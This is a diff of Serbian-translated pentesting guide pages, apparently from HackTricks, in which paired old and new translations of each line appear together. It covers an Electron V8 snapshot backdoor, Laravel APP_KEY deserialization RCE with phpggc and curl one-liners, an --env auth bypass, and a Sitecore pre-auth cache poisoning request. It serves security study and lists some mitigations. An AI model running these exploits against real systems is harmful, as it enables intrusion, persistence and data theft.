Glavni **API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault**, i **setUserDefault** su sve **deo** ovog modula.
**Primarni API** za pristup sistemskim podešavanjima i **emitovanje sistemskih događaja** u Electronu. Metode kao što su **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault** su sve **deo** ovog modula.
**Primer upotrebe:**
```javascript
@ -367,31 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Sluša** nativne macOS notifikacije koristeći NSDistributedNotificationCenter.
* Pre **macOS Catalina**, moglo se presretati **sve** distribuirane notifikacije prosleđivanjem **nil** u CFNotificationCenterAddObserver.
* Posle **Catalina / Big Sur**, sandboxovane aplikacije i dalje mogu da se **pretplate** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **mountovanje volumena**, **mrežna aktivnost**, itd.) registrovanjem notifikacija **po imenu**.
* **Osluškuje** **ugrađene macOS notifikacije** koristeći NSDistributedNotificationCenter.
* Pre **macOS Catalina**, moglo se prisluškivati **sve** distributed notifications prosleđivanjem **nil** u CFNotificationCenterAddObserver.
* Posle **Catalina / Big Sur**, sandbox-ovane aplikacije i dalje mogu **pretplatiti se** na **mnoge događaje** (na primer, **zaključavanje/otključavanje ekrana**, **mount-ovanje volumena**, **network activity**, itd.) registrovanjem notifikacija **po imenu**.
### **getUserDefault / setUserDefault**
* **Interfejsira** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preferencije na macOS-u.
* **Interfejs** sa **NSUserDefaults**, koji čuva **aplikacione** ili **globalne** preference na macOS.
* **getUserDefault** može da **dohvati** osetljive informacije, poput **lokacija nedavno otvorenih fajlova** ili **geografske lokacije korisnika**.
* **getUserDefault** može **preuzeti** osetljive informacije, kao što su **lokacije nedavno otvorenih fajlova** ili **geografska lokacija korisnika**.
* **setUserDefault** može da **izmeni** ove preferencije, potencijalno utičući na **konfiguraciju** aplikacije.
* **setUserDefault** može **izmeniti** ove preference, potencijalno utičući na **konfiguraciju** aplikacije.
* U **starijim verzijama Electron-a** (pre v8.3.0), bio je dostupan samo **standardni skup** NSUserDefaults.
* U **starijim verzijama Electron** (pre v8.3.0), samo **standard suite** od NSUserDefaults je bio **dostupan**.
## Shell.showItemInFolder
Ova funkcija prikazuje dati fajl u file manageru, što bi moglo **automatski izvršiti fajl**.
Ova funkcija prikazuje dati fajl u file manageru, koji **bi mogao automatski izvršiti fajl**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron aplikacije treba da imaju **Content Security Policy (CSP)** kako bi se **sprečili XSS napadi**. **CSP** je bezbednosni standard koji pomaže da se **onemogući izvršavanje nepouzdanog koda** u browser-u.
Electron apps treba da imaju **Content Security Policy (CSP)** kako bi **sprečili XSS napade**. **CSP** je **bezbednosni standard** koji pomaže da se **spreči** **izvršavanje** **nepouzdanog koda** u browseru.
Obično se **konfiguriše** u fajlu **`main.js`** ili u **`index.html`** šablonu sa CSP-om unutar **meta taga**.
Obično se **konfiguriše** u fajlu **`main.js`** ili u **`index.html`** template-u sa CSP unutar **meta taga**.
For more information check:
@ -403,14 +403,14 @@ pentesting-web/content-security-policy-csp-bypass/
## **Tools**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje pogrešnih konfiguracija i sigurnosnih anti-patterna u Electron aplikacijama.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open-source VS Code plugin za Electron aplikacije koji koristi Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih biblioteka treće strane
- [**Electronegativity**](https://github.com/doyensec/electronegativity) je alat za identifikovanje misconfigurations i security anti-patterns u Electron-based aplikacijama.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) je open source VS Code plugin za Electron applications koji koristi Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) za proveru ranjivih third party biblioteka
- [**Electro.ng**](https://electro.ng/): Potrebno je kupiti
## Labs
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete naći lab vežbu za eksploatisanje ranjivih Electron aplikacija.
U [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) možete pronaći lab vežbu za eksploataciju ranjivih Electron aplikacija.
Neke komande koje će vam pomoći u labu:
```bash
@ -437,16 +437,16 @@ npm start
```
## Local backdooring via V8 heap snapshot tampering (Electron/Chromium) – CVE-2025-55305
Electron and Chromium-based apps deserijalizuju unapred izgrađen V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da bi inicijalizovale svaki V8 isolate (main, preload, renderer). Istorijski, Electron’s integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegavali i fuse-based integrity enforcement i OS code-signing checks. Kao rezultat, zamena snapshot-a u instalaciji koja je upisiva od strane korisnika omogućavala je prikriveno, trajno izvršavanje koda unutar aplikacije bez izmene potpisanih binarnih fajlova ili ASAR.
Electron i aplikacije zasnovane na Chromium-u deserializuju prebuilt V8 heap snapshot pri pokretanju (v8_context_snapshot.bin, i opciono browser_v8_context_snapshot.bin) da bi inicijalizovale svaki V8 isolate (main, preload, renderer). Istorijski gledano, Electron-ove integrity fuses nisu tretirale ove snapshot-e kao izvršni sadržaj, pa su izbegavali kako enforcement zasnovan na fuse-ovima tako i OS provere potpisivanja koda. Kao rezultat, zamena snapshot-a u instalaciji u kojoj korisnik ima pravo pisanja omogućavala je prikriveno, persistentno izvršavanje koda unutar aplikacije bez menjanja potpisanih binarnih fajlova ili ASAR.
Key points
- Integrity gap: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar validiraju JavaScript aplikacije unutar ASAR-a, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium isto tako ne vrši integrity-check snapshot-a.
- Attack preconditions: Lokalni upis fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron apps ili Chromium browsers instalirani u putanjama koje korisnik može pisati (npr. %AppData%\Local on Windows; /Applications with caveats on macOS).
- Effect: Pouzdano izvršavanje attacker JavaScript-a u bilo kom isolate-u prebrisavanjem često korišćenog builtin-a (a “gadget”), omogućavajući persistenciju i izbegavanje code-signing verifikacije.
- Affected surface: Electron apps (čak i sa omogućenim fuses) i Chromium-based browsers koji učitavaju snapshot-e iz lokacija koje korisnik može pisati.
- Propust u integritetu: EnableEmbeddedAsarIntegrityValidation i OnlyLoadAppFromAsar validiraju app JavaScript unutar ASAR-a, ali nisu pokrivali V8 heap snapshots (CVE-2025-55305). Chromium na sličan način ne proverava integritet snapshots.
- Uslovi napada: Lokalna mogućnost pisanja fajla u direktorijum instalacije aplikacije. Ovo je uobičajeno na sistemima gde su Electron aplikacije ili Chromium browsers instalirani u putanje koje korisnik može pisati (npr. %AppData%\Local na Windows; /Applications uz ograničenja na macOS).
- Efekat: Pouzdano izvršavanje attacker JavaScript-a u bilo kojem isolate-u tako što se prepiše često korišćeni builtin (gadget), omogućavajući persistenciju i izbegavanje verifikacije potpisivanja koda.
- Pogođena površina: Electron apps (čak i sa uključenim fuses) i Chromium-based browsers koji učitavaju snapshots iz lokacija koje korisnik može menjati.
Generating a malicious snapshot without building Chromium
- Koristite prebuilt electron/mksnapshot da kompajlirate payload JS u snapshot i prepišete v8_context_snapshot.bin aplikacije.
- Use the prebuilt electron/mksnapshot to compile a payload JS into a snapshot and overwrite the application’s v8_context_snapshot.bin.
Example minimal payload (prove execution by forcing a crash)
```js
@ -462,11 +462,12 @@ Array.isArray = function () {
throw new Error("testing isArray gadget");
};
```
Rukovođenje izvršavanjem prema isolate-u (pokreni različit kod u main i renderer)
- Detekcija main procesa: Node-only globals kao što su process.pid, process.binding(), ili process.dlopen prisutni su u izolatu glavnog procesa.
- Detekcija browser/renderer: Browser-only globals kao što je alert dostupni su kada se izvršavaš u kontekstu dokumenta.
Usmeravanje payloada u zavisnosti od isolata (pokretanje različitog koda u main i renderer)
Primer gadgeta koji jednom ispituje Node mogućnosti glavnog procesa
- Detekcija main procesa: Node-only globals kao što su process.pid, process.binding(), или process.dlopen su prisutni u main process isolatu.
- Detekcija browser/renderer-a: Browser-only globals kao što je alert su dostupni kada se izvršava u kontekstu dokumenta.
Primer gadgeta koji jednom ispituje Node capabilities main procesa
```js
const orig = Array.isArray;
@ -520,23 +521,23 @@ return orig(...arguments);
};
```
Tok rada operatera
1) Napišite payload.js koji clobbers uobičajeni builtin (npr. Array.isArray) i po potrebi grana po isolate.
2) Sastavite snapshot bez Chromium izvora:
1) Napišite payload.js koji prepisuje uobičajeni builtin (npr. Array.isArray) i opciono granuje po isolate-u.
2) Izgradite snapshot bez Chromium izvora:
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
3) Prepišite snapshot fajl(ove) ciljne aplikacije:
3) Zamenite snapshot fajl(ove) ciljane aplikacije:
- v8_context_snapshot.bin (uvek se koristi)
- browser_v8_context_snapshot.bin (ako se koristi fuse LoadBrowserProcessSpecificV8Snapshot)
4) Pokrenite aplikaciju; gadget se izvršava svaki put kad se koristi izabrani builtin.
4) Pokrenite aplikaciju; gadget se izvršava kad god se koristi izabrani builtin.
Napomene i razmatranja
- Integrity/signature bypass: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi od strane provera potpisivanja koda i (istorijski) nisu bili pokriveni Electron’s fuses ili Chromium integritetskim kontrolama.
- Persistence: Zamena snapshot-a u instalaciji kojom korisnik može pisati obično preživi restart aplikacije i izgleda kao potpisana, legitimna aplikacija.
- Chromium browsers: Isti koncept manipulacije važi i za Chrome/derivate instalirane na lokacijama u kojima korisnik ima pravo pisanja. Chrome ima druge mitigacije integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog threat model-a.
Beleške i razmatranja
- Integrity/signature bypass: Snapshot fajlovi se ne tretiraju kao native izvršni fajlovi u proverama code-signing-a i (istorijski) nisu bili pokriveni Electron-ovim fuses ili Chromium kontrolama integriteta.
- Persistence: Zamena snapshot-a u instalaciji u kojoj korisnik ima prava za pisanje obično preživi restart aplikacije i izgleda kao potpisana, legitimna aplikacija.
- Chromium browsers: Isti koncept manipulacije važi za Chrome/derivate instalirane na lokacijama gde korisnik može pisati. Chrome ima druge mere integriteta, ali eksplicitno isključuje fizički lokalne napade iz svog modela pretnji.
Detekcija i mitigacije
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
Otkrivanje i ublažavanje
- Tretirati snapshot-e kao izvršni sadržaj i uključiti ih u primenu provera integriteta (CVE-2025-55305 fix).
- Preferirati lokacije instalacije koje su upisive samo administratoru; napraviti baseline i nadgledati hasheve za v8_context_snapshot.bin i browser_v8_context_snapshot.bin.
- Detektovati rano pri izvršavanju prepisivanje ugrađenih funkcija (builtin) i neočekivane promene snapshot-a; alarmirati kada deserijalizovani snapshot-i ne odgovaraju očekivanim vrednostima.
## **References**

82
src/network-services-pentesting/pentesting-web/laravel.md
View File

@ -4,14 +4,14 @@
### Laravel SQLInjection
Više informacija ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
Pročitajte informacije o ovome ovde: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
---
## APP_KEY & interni mehanizmi enkripcije (Laravel \u003e=5.6)
## APP_KEY & Interni mehanizmi enkripcije (Laravel \u003e=5.6)
Laravel koristi AES-256-CBC (ili GCM) sa HMAC integritetom u pozadini (`Illuminate\\Encryption\\Encrypter`).
Sirovi šifrat koji se konačno **pošalje klijentu** je **Base64 JSON objekta** kao:
Sirovi šifrovani tekst koji se na kraju **pošalje klijentu** je **Base64 enkodiran JSON objekat** poput:
```json
{
"iv" : "Base64(random 16-byte IV)",
@ -20,18 +20,18 @@ Sirovi šifrat koji se konačno **pošalje klijentu** je **Base64 JSON objekta**
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` će podrazumevano pozvati `serialize()` nad plaintext-om, dok
`decrypt($payload, $unserialize=true)` **će automatski `unserialize()`** dekriptovanu vrednost.
Dakle, **bilo koji napadač koji zna 32-bajtni secret `APP_KEY` može da konstruše šifrovani PHP serijalizovani objekat i ostvari RCE preko magičnih metoda (`__wakeup`, `__destruct`, …)**.
`encrypt($value, $serialize=true)` po defaultu `serialize()`-uje plaintext, dok
`decrypt($payload, $unserialize=true)` **će automatski `unserialize()`-ovati** dekriptovanu vrednost.
Dakle, **bilo koji napadač koji zna 32-bajtni tajni `APP_KEY` može napraviti enkriptovani PHP serialized objekat i dobiti RCE putem magijskih metoda (`__wakeup`, `__destruct`, …)**.
Minimalni PoC (framework ≥9.x):
Minimal PoC (framework ≥9.x):
```php
use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Ubacite proizvedeni string u bilo koji ranjivi `decrypt()` sink (route param, cookie, session, …).
Ubaci proizvedeni string u bilo koji ranjiv `decrypt()` sink (route param, cookie, session, …).
---
@ -47,25 +47,25 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Skript transparentno podržava i CBC i GCM payloads i ponovo generiše HMAC/tag polje.
Skript transparentno podržava oba CBC i GCM payloads i ponovo generiše HMAC/tag field.
---
## Stvarni ranjivi obrasci
## Obrasci ranjivosti u stvarnom svetu
| Projekat | Vulnerable sink | Gadget chain |
| Projekat | Ranjiv sink | Gadget chain |
|---------|-----------------|--------------|
| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie when `Passport::withCookieSerialization()` is enabled | Laravel/RCE9 |
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie kada je `Passport::withCookieSerialization()` omogućen | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
Tok eksploatacije je uvek:
1. Nabavite ili brute-force-ujte 32-byte `APP_KEY`.
1. Nabavite ili izvršite brute-force nad 32-byte `APP_KEY`.
2. Sastavite gadget chain koristeći **PHPGGC** (na primer `Laravel/RCE13`, `Laravel/RCE9` ili `Laravel/RCE15`).
3. Enkriptujte serializovani gadget pomoću **laravel_crypto_killer.py** i pronađenog `APP_KEY`.
4. Dostavite ciphertext do ranjivog `decrypt()` sinka (route parameter, cookie, session …) da pokrenete **RCE**.
3. Šifrujte serijalizovani gadget pomoću **laravel_crypto_killer.py** i dobijenog `APP_KEY`.
4. Dostavite ciphertext ranjivom `decrypt()` sink-u (parametar rute, cookie, session …) da pokrenete **RCE**.
Ispod su sažeti one-liners koji demonstriraju kompletan attack path za svaki real-world CVE pomenut iznad:
Ispod su sažete one-linere koji demonstriraju kompletan put napada za svaki od gore navedenih CVE-ova:
```bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -84,36 +84,36 @@ curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https:
```
## Masovno otkrivanje APP_KEY putem cookie brute-force
Pošto svaki svež Laravel odgovor postavlja bar 1 encrypted cookie (`XSRF-TOKEN` i obično `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** koje je moguće napasti offline.
Pošto svaki novi Laravel odgovor postavlja najmanje 1 enkriptovan cookie (`XSRF-TOKEN` i obično `laravel_session`), **public internet scanners (Shodan, Censys, …) leak millions of ciphertexts** koji se mogu napasti offline.
Ključni nalazi istraživanja objavljenog od strane Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 servera i dalje ranjivo na legacy CVE-2018-15133 zato što tokens direktno sadrže serialized data.
* Ogromno ponovno korišćenje ključeva – Top-10 APP_KEYs su hard-coded defaults isporučeni sa komercijalnim Laravel template-ima (UltimatePOS, Invoice Ninja, XPanel, …).
* >1 000 servers i dalje su ranjivi na legacy CVE-2018-15133 jer tokeni direktno sadrže serialized data.
* Huge key reuse – the Top-10 APP_KEYs su hard-coded defaults koji dolaze sa komercijalnim Laravel template-ima (UltimatePOS, Invoice Ninja, XPanel, …).
Privatni Go alat **nounours** postiže AES-CBC/GCM bruteforce propusnost ~1.5 billion tries/s, smanjujući potpuno razbijanje skupa podataka na <2 minuta.
Privatni Go alat **nounours** povećava AES-CBC/GCM bruteforce throughput na ~1.5 billion tries/s, smanjujući vreme razbijanja celog dataset-a na <2 minuta.
## CVE-2024-52301 – HTTP argv/env override → auth bypass
Kada je PHP-ov `register_argc_argv=On` (tipično na mnogim distribucijama), PHP izlaže niz `argv` za HTTP zahteve izveden iz query stringa. Novije verzije Laravel-a parsiraju ove “CLI-like” args i poštuju `--env=<value>` pri runtime-u. Ovo omogućava promenu framework environment-a za trenutni HTTP zahtev samo dodavanjem parametra na bilo koji URL:
Kada je PHP-ov `register_argc_argv=On` (tipično na mnogim distroima), PHP izlaže `argv` niz za HTTP zahteve izveden iz query string-a. Novije Laravel verzije parsiraju ove “CLI-like” args i poštuju `--env=<value>` u runtime-u. Ovo omogućava promenu framework environment-a za trenutni HTTP zahtev samo dodavanjem istog na bilo koji URL:
- Brza provera:
- Posetite `https://target/?--env=local` ili bilo koji string i tražite promene zavisne od environment-a (debug banners, footers, verbose errors). Ako je string reflektovan, override radi.
- Posetite `https://target/?--env=local` ili bilo koji string i tražite promene zavisne od environment-a (debug banners, footers, verbose errors). Ako se string reflektuje, override radi.
- Primer uticaja (business logic koji veruje posebnom env):
- Ako aplikacija sadrži grane poput `if (app()->environment('preprod')) { /* bypass auth */ }`, možete se autentifikovati bez validnih kredencijala slanjem login POST-a na:
- Primer uticaja (ako poslovna logika veruje posebnom env-u):
- Ako aplikacija sadrži grane kao `if (app()->environment('preprod')) { /* bypass auth */ }`, možete se autentifikovati bez validnih kredencijala slanjem login POST-a na:
- `POST /login?--env=preprod`
- Napomene:
- Radi per-request, bez persistencije.
- Zahteva `register_argc_argv=On` i ranjivu verziju Laravel-a koja čita argv iz HTTP zahteva.
- Koristan primitv za dobijanje detaljnijih grešaka u “debug” env-ovima ili za okidanje code paths koji su ograničeni environment-om.
- Radi po zahtevu, nema perzistencije.
- Zahteva `register_argc_argv=On` i vulnerabilnu Laravel verziju koja čita argv za HTTP.
- Koristan primitiv za prikazivanje detaljnijih grešaka u “debug” env-ovima ili za okidanje kodnih putanja zaštićenih okruženjem.
- Mitigacije:
- Onemogućite `register_argc_argv` za PHP-FPM/Apache.
- Ažurirajte Laravel da ignoriše argv kod HTTP zahteva i uklonite bilo kakve pretpostavke poverenja vezane za `app()->environment()` u produkcionim rutama.
- Isključite `register_argc_argv` za PHP-FPM/Apache.
- Ažurirajte Laravel da ignoriše argv za HTTP zahteve i uklonite bilo kakva poverenja vezana za `app()->environment()` u produkcionim rutama.
Minimalni tok eksploatacije (Burp):
```http
@ -125,26 +125,26 @@ email=a@b.c&password=whatever&remember=0xdf
```
---
## Trikovi za Laravel
## Laravel trikovi
### Debug režim
Ako je Laravel u **debug režimu** moći ćete pristupiti **kodu** i **osetljivim podacima**.\
Ako je Laravel u **debug režimu** moći ćete da pristupite **kodu** i **osetljivim podacima**.\
Na primer `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Ovo je obično potrebno za eksploatisanje drugih Laravel RCE CVE-ova.
### Otkrivanje i izloženi dev endpointi
### Fingerprinting & izloženi dev endpointi
Brze provere za identifikaciju Laravel stacka i opasnih dev alata izloženih u produkciji:
Brze provere za identifikovanje Laravel stack-a i opasnih dev alata izloženih u produkciji:
- `/_ignition/health-check` → Ignition prisutan (debug alat koji se koristi u CVE-2021-3129). Ako je dostupan bez autentifikacije, aplikacija može biti u debug režimu ili pogrešno konfigurisana.
- `/_ignition/health-check` → Ignition prisutan (debug alat koji je iskorišćen u CVE-2021-3129). Ako je dostupan bez autentifikacije, aplikacija može biti u debug režimu ili pogrešno konfigurisana.
- `/_debugbar` → Laravel Debugbar resursi; često ukazuje na debug režim.
- `/telescope` → Laravel Telescope (dev monitor). Ako je javno dostupan, očekujte široko otkrivanje informacija i moguće akcije.
- `/horizon` → Queue dashboard; otkrivanje verzije i ponekad akcije zaštićene CSRF-om.
- Headeri X-Powered-By, kolačići `XSRF-TOKEN` i `laravel_session`, kao i Blade stranice sa greškama takođe pomažu pri fingerprintingu.
- X-Powered-By, cookies `XSRF-TOKEN` i `laravel_session`, i Blade error pages takođe pomažu pri fingerprintingu.
```bash
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
@ -153,13 +153,13 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Laravel čuva APP koji koristi za enkriptovanje cookies i ostalih credentials u fajlu nazvanom `.env` kojem se može pristupiti koristeći path traversal: `/../.env`
Laravel čuva APP koji koristi za enkripciju cookies i drugih kredencijala u fajl nazvan `.env` koji se može pristupiti koristeći path traversal pod: `/../.env`
Laravel će takođe prikazati ove informacije na debug stranici (koja se pojavljuje kada Laravel pronađe grešku i kada je debug aktiviran).
Laravel će takođe prikazati ove informacije na debug stranici (koja se pojavljuje kada Laravel nađe grešku i kada je aktiviran).
Koristeći tajni APP_KEY iz Laravel-a možete dešifrovati i ponovo enkriptovati cookies:
Koristeći tajni APP_KEY iz Laravela možete dešifrovati i ponovo enkriptovati cookies:
### Decrypt Cookie
### Dešifrovanje cookie
```python
import os
import json
@ -222,10 +222,10 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
Ranljive verzije: 5.5.40 i 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Informacije o deserialization vulnerability možete pronaći ovde: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Više informacija o deserialization vulnerability možete naći ovde: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Možete ga testirati i exploit-ovati koristeći [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Ili ga takođe možete exploit-ovati pomoću metasploit-a: `use unix/http/laravel_token_unserialize_exec`
Ili ga možete takođe exploit-ovati preko metasploit-a: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129

65
src/network-services-pentesting/pentesting-web/sitecore/README.md
View File

@ -2,10 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
Ova stranica sažima praktičan attack chain protiv Sitecore XP 10.4.1 koji pivot‑uje od pre‑auth XAML handler do HTML cache poisoning i, putem authenticated UI flow, do RCE kroz BinaryFormatter deserialization. Tehnike su primenljive i na slične Sitecore verzije/komponente i pružaju konkretne primitive za testiranje, detekciju i zaštitu.
Ova stranica sažima praktičan lanac napada protiv Sitecore XP 10.4.1 koji pivotira od pre‑auth XAML handlera do HTML cache poisoning i, kroz authenticated UI flow, do RCE putem BinaryFormatter deserialization. Tehnike se generalizuju na slične Sitecore verzije/komponente i pružaju konkretne primitive za test, detect i harden.
- Testirani pogođeni proizvod: Sitecore XP 10.4.1 rev. 011628
- Ispravljeno u: KB1003667, KB1003734 (June/July 2025)
- Affected product tested: Sitecore XP 10.4.1 rev. 011628
- Fixed in: KB1003667, KB1003734 (June/July 2025)
Vidi takođe:
@ -27,7 +27,7 @@ Dostupno putem:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
Kontrolno stablo uključuje AjaxScriptManager koji, prilikom zahteva događaja, čita attacker‑controlled fields i reflektivno poziva metode na ciljanim kontrolama:
Stablo kontrola uključuje AjaxScriptManager koji, pri zahtevima događaja, čita polja pod kontrolom napadača i reflektivno poziva metode na ciljnim kontrolama:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,9 +42,9 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Ključna zapažanja: XAML stranica uključuje XmlControl instancu (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl nasleđuje Sitecore.Web.UI.WebControl (Sitecore klasa), koja prolazi kroz ReflectionUtil.Filter allow‑list (Sitecore.*), otključavajući metode na Sitecore WebControl.
Ključno zapažanje: XAML stranica sadrži XmlControl instancu (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl nasleđuje Sitecore.Web.UI.WebControl (Sitecore klasa), koja prolazi kroz ReflectionUtil.Filter allow‑list (Sitecore.*), otključavajući metode na Sitecore WebControl.
Magic method for poisoning:
Magijska metoda za poisoning:
```csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
@ -52,9 +52,9 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Pošto možemo ciljati xmlcontrol:GlobalHeader i pozivati metode Sitecore.Web.UI.WebControl po imenu, dobijamo pre‑auth arbitrary HtmlCache write primitive.
Pošto možemo ciljati xmlcontrol:GlobalHeader i pozivati Sitecore.Web.UI.WebControl metode po imenu, dobijamo pre‑auth arbitrary HtmlCache write primitive.
### PoC zahtev (CVE-2025-53693)
### PoC request (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
@ -63,12 +63,12 @@ Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
Napomene:
- __SOURCE je clientID xmlcontrol:GlobalHeader unutar Sitecore.Shell.Xaml.WebControl (obično stabilan kao ctl00_ctl00_ctl05_ctl03 jer je izveden iz statičkog XAML-a).
- __SOURCE je clientID xmlcontrol:GlobalHeader unutar Sitecore.Shell.Xaml.WebControl (obično stabilan, npr. ctl00_ctl00_ctl05_ctl03 jer je izveden iz statičkog XAML-a).
- __PARAMETERS format je Method("arg1","arg2").
## What to poison: Cache key construction
## Šta zatrovati: konstrukcija Cache ključa
Tipična konstrukcija HtmlCache ključa koju koriste Sitecore controls:
Tipična konstrukcija HtmlCache ključa koju koriste Sitecore kontrole:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -90,13 +90,13 @@ return k;
return string.Empty;
}
```
Primer targeted poisoning za poznati sublayout:
Primer ciljane poisoning operacije za poznati sublayout:
```
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
```
## Enumeracija kešabilnih stavki i “vary by” dimenzija
## Enumerisanje stavki koje se mogu keširati i dimenzija “vary by”
Ako je ItemService (pogrešno) izložen anonimno, možete enumerisati komponente koje se mogu keširati da biste dobili tačne ključeve.
Ako je ItemService (pogrešno izložena) anonimno, možete nabrojati komponente koje se mogu keširati kako biste izveli tačne ključeve.
Brza provera:
```
@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Prikaži stavke koje se mogu kesirati i zastavice:
Navedite stavke koje se mogu keširati i zastavice:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
Potražite polja kao što su Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Imena uređaja mogu se izlistati pomoću:
Tražite polja kao što su Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Imena uređaja mogu se nabrojati pomoću:
```
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
```
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
### Enumeracija bočnim kanalom pod ograničenim identitetima (CVE-2025-53694)
Čak i kada ItemService preuzima identitet ograničenog naloga (npr. ServicesAPI) i vraća prazan Results niz, TotalCount može i dalje odražavati pre‑ACL Solr hits. Možete brute‑force item groups/ids pomoću wildcards i posmatrati kako se TotalCount konvergira da biste mapirali interni sadržaj i uređaje:
Čak i kada ItemService preuzme identitet ograničenog naloga (npr. ServicesAPI) i vrati prazan Results niz, TotalCount i dalje može odražavati pre‑ACL Solr hits. Možete brute‑force item groups/ids pomoću wildcards i posmatrati kako se TotalCount konvergira da biste mapirali interni sadržaj i uređaje:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
